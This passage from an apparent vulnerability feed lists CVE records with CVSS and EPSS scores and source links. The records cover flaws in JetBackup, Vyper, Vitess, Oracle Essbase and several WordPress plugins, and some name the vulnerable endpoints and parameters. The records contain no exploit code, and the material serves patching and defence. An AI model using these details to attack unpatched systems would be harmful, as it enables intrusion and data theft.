FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104068&date=2026-10-25
JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write attacker-controlled file contents outside the intended restore destination during backup import and restore. Attackers can craft a backup archive containing a symbolic link that archive extraction follows without validating targets or enforcing destination containment, potentially leading to server-side code execution depending on the writable destination and server configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables.
https://kevwire.com/record/CVE-2021-48018
Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables. (Oct 21, 2026).
Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables. When a function using @nonreentrant is called, setting the lock overwrites the overlapping storage variable, corrupting contract state and breaking the contract's intended logic.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48018).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48018&date=2026-10-25).
Sources:
NVD CVE-2021-48018: https://nvd.nist.gov/vuln/detail/CVE-2021-48018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48018&date=2026-10-25
Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables. When a function using @nonreentrant is called, setting the lock overwrites the overlapping storage variable, corrupting contract state and breaking the contract's intended logic.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vitess is a database clustering system for horizontal scaling of MySQL.
https://kevwire.com/record/CVE-2026-104252
Vitess is a database clustering system for horizontal scaling of MySQL. (Oct 13, 2026).
Vitess is a database clustering system for horizontal scaling of MySQL. Prior to 23.0.5 and 24.0.2, twopczHandler in go/vt/vttablet/tabletserver/twopcz.go writes the Action and dtid form values from the vttablet and vtcombo /twopcz HTTP debug endpoint into a text/html response without HTML escaping. Under the default allow-all ACL policy, a remote unauthenticated attacker can send an operator a crafted request that executes script in the operator's browser after the request is opened. The script runs with the vttablet debug origin and can read same-origin diagnostic endpoints that expose query, transaction, environment, variable, or profiling data available in that deployment. This issue is fixed in versions 23.0.5 and 24.0.2.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104252).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104252&date=2026-10-25).
Sources:
NVD CVE-2026-104252: https://nvd.nist.gov/vuln/detail/CVE-2026-104252
Vendor advisory (via NVD references): https://github.com/vitessio/vitess/security/advisories/GHSA-v75v-6fpf-gvw8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104252&date=2026-10-25
Vitess is a database clustering system for horizontal scaling of MySQL. Prior to 23.0.5 and 24.0.2, twopczHandler in go/vt/vttablet/tabletserver/twopcz.go writes the Action and dtid form values from the vttablet and vtcombo /twopcz HTTP debug endpoint into a text/html response without HTML escaping. Under the default allow-all ACL policy, a remote unauthenticated attacker can send an operator a crafted request that executes script in the operator's browser after the request is opened. The script runs with the vttablet debug origin and can read same-origin diagnostic endpoints that expose query, transaction, environment, variable, or profiling data available in that deployment. This issue is fixed in versions 23.0.5 and 24.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Essbase Web Platform).
https://kevwire.com/record/CVE-2026-91653
Vulnerability in Oracle Essbase (component: Essbase Web Platform). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
CVSS 8.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91653).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91653&date=2026-10-25).
Sources:
NVD CVE-2026-91653: https://nvd.nist.gov/vuln/detail/CVE-2026-91653
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91653&date=2026-10-25
Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Essbase Web Platform).
https://kevwire.com/record/CVE-2026-91651
Vulnerability in Oracle Essbase (component: Essbase Web Platform). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 8.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91651).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91651&date=2026-10-25).
Sources:
NVD CVE-2026-91651: https://nvd.nist.gov/vuln/detail/CVE-2026-91651
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91651&date=2026-10-25
Vulnerability in Oracle Essbase (component: Essbase Web Platform).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91644
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).
CVSS 9.3 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91644).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91644&date=2026-10-25).
Sources:
NVD CVE-2026-91644: https://nvd.nist.gov/vuln/detail/CVE-2026-91644
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91644&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91642
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Essbase accessible data as well as  unauthorized read access to a subset of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).
CVSS 7.3 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91642).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91642&date=2026-10-25).
Sources:
NVD CVE-2026-91642: https://nvd.nist.gov/vuln/detail/CVE-2026-91642
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91642&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Essbase accessible data as well as  unauthorized read access to a subset of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91639
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91639).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91639&date=2026-10-25).
Sources:
NVD CVE-2026-91639: https://nvd.nist.gov/vuln/detail/CVE-2026-91639
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91639&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91655
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91655).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91655&date=2026-10-25).
Sources:
NVD CVE-2026-91655: https://nvd.nist.gov/vuln/detail/CVE-2026-91655
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91655&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91637
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91637).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91637&date=2026-10-25).
Sources:
NVD CVE-2026-91637: https://nvd.nist.gov/vuln/detail/CVE-2026-91637
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91637&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91632
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91632).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91632&date=2026-10-25).
Sources:
NVD CVE-2026-91632: https://nvd.nist.gov/vuln/detail/CVE-2026-91632
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91632&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Federated Partitions).
https://kevwire.com/record/CVE-2026-91656
Vulnerability in Oracle Essbase (component: Federated Partitions). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Federated Partitions).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91656).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91656&date=2026-10-25).
Sources:
NVD CVE-2026-91656: https://nvd.nist.gov/vuln/detail/CVE-2026-91656
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91656&date=2026-10-25
Vulnerability in Oracle Essbase (component: Federated Partitions).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data as well as  unauthorized update, insert or delete access to some of Oracle Essbase accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Essbase. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up...
https://kevwire.com/record/CVE-2026-109198
The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up... (Oct 23, 2026).
The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up to, and including, 6.89.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires user registration to be open on the site, and script execution is triggered when an Administrator subsequently runs the plugin's user-spam scan and views the resulting Non-checkable users or Spam users tab — the plugin's own documented workflow.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109198).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109198&date=2026-10-25).
Sources:
NVD CVE-2026-109198: https://nvd.nist.gov/vuln/detail/CVE-2026-109198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109198&date=2026-10-25
The Anti-Spam by CleanTalk – Spam Protection Without CAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_email' parameter in all versions up to, and including, 6.89.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires user registration to be open on the site, and script execution is triggered when an Administrator subsequently runs the plugin's user-spam scan and views the resulting Non-checkable users or Spam users tab — the plugin's own documented workflow.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume...
https://kevwire.com/record/CVE-2026-109936
The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume... (Oct 23, 2026).
The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume the quote that closes an HTML attribute and pull adjacent unescaped data into the markup as new attributes. This allows unauthenticated users to achieve stored Cross-Site Scripting that executes in the browser of any visitor who views an affected page, including a logged-in administrator.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109936).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109936&date=2026-10-25).
Sources:
NVD CVE-2026-109936: https://nvd.nist.gov/vuln/detail/CVE-2026-109936
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109936&date=2026-10-25
The Otter Blocks  WordPress plugin before 3.2.8 does not correctly bound a pattern it uses to rewrite its dynamic-content tokens while rendering blocks, so the pattern can consume the quote that closes an HTML attribute and pull adjacent unescaped data into the markup as new attributes. This allows unauthenticated users to achieve stored Cross-Site Scripting that executes in the browser of any visitor who views an affected page, including a logged-in administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form,...
https://kevwire.com/record/CVE-2026-111982
The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form,... (Oct 23, 2026).
The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form, allowing an Administrator of a Multisite subsite to change any other user's account email, including a Network Super Admin's, and take over that account through the password-reset flow.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111982).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111982&date=2026-10-25).
Sources:
NVD CVE-2026-111982: https://nvd.nist.gov/vuln/detail/CVE-2026-111982
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111982&date=2026-10-25
The User Profile Builder  WordPress plugin before 4.0.5 does not verify that a user is authorized to edit the specific account selected on its front-end Edit Profile form, allowing an Administrator of a Multisite subsite to change any other user's account email, including a Network Super Admin's, and take over that account through the password-reset flow.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The LiteSpeed Cache WordPress plugin before 7.9.2 does not restrict one of its HTML rewriting routines to stylesheet content, so it removes a quote that terminates an attribute in...
https://kevwire.com/record/CVE-2026-113499
